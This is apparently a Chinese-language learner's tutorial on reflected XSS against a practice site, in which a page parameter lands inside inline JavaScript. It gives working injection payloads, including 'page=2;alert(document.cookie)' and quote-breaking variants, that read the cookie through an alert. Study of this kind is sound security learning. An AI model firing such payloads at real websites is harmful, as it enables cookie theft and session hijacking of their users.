Xss學習（二）之 JavaScript

學習網站：http://xsst.sinaapp.com/example/1-2.php?page=2

一、查看源代碼有如下部分：

<script name="親！我就是你要看的那段JS代碼！">
	var page=2; //我是頁數
</script>
</div>

下一步：把 page=2 改爲 page=2;alert(document.cookie);

即： http://xsst.sinapp.com/example/1-2.php?page=2;alert(document.cookie)

輸出結果：

然後在查看源代碼：

<span style="font-size:14px;"><script name="親！我就是你要看的那段JS代碼！">
	var page=2;alert(document.cookie); //我是頁數
</script>
</div></span>

二、如果是這種形式：

<script name="親！我就是你要看的那段JS代碼！">
	var page="3"; //我是頁數
</script>
</div>

那麼有兩種方式：

<span style="font-size:14px;">http://xsst.sinapp.com/example/1-2.php?page=";alert(document.cookie);//

	或者

http://xsst.sinapp.com/example/1-2.php?page=";alert(document.cookie);var a="</span>